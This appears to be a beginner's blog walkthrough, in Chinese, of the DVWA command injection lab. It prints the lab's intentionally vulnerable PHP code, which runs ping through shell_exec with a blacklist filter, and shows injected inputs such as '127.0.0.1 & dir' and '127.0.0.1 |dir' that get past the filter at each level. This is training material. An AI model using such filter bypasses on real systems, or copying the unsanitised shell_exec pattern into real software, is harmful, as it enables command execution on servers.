前言:DVWA(1)暴力破解 LOW-HIGHT 操作记录
今天带来第二期命令注入漏洞操作记录。初次接触DVWA,写下自己的操作记录,希望可以帮助每个刚接触DVWA的新手,同时希望可以提升自己的技术。注:如有操作不当的地方希望可以得到大神指导、交流。也感谢之前查阅的各种大神提供的博客。
DVWA命令注入漏洞
Low级别
输入ip得到对ip的ping内容
尝试使用dir命令
127.0.0.1 && dir
Mediun级别
尝试使用 127.0.0.1 && dir
查看源代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
&&被替换成‘’
知识补充:
命令1 && 命令2:是先执行命令1,执行成功后在执行命令2,如果命令1没执行,则命令2也不会执行
命令1 & 命令2:先执行命令1,不管成功不成功,都会执行命令2
命令1 | 命令2如果前语句为假则直接报错,后面不执行;如果前语句为真,执行后边的语句
命令1 || 命令2如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
我们使用 &来连接
127.0.0.1 & dir
High级别
查看源代码,符号基本都被替换,但仔细观察‘| ’后面有一个空格。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
因此我们利用
127.0.0.1 |dir
感谢阅读。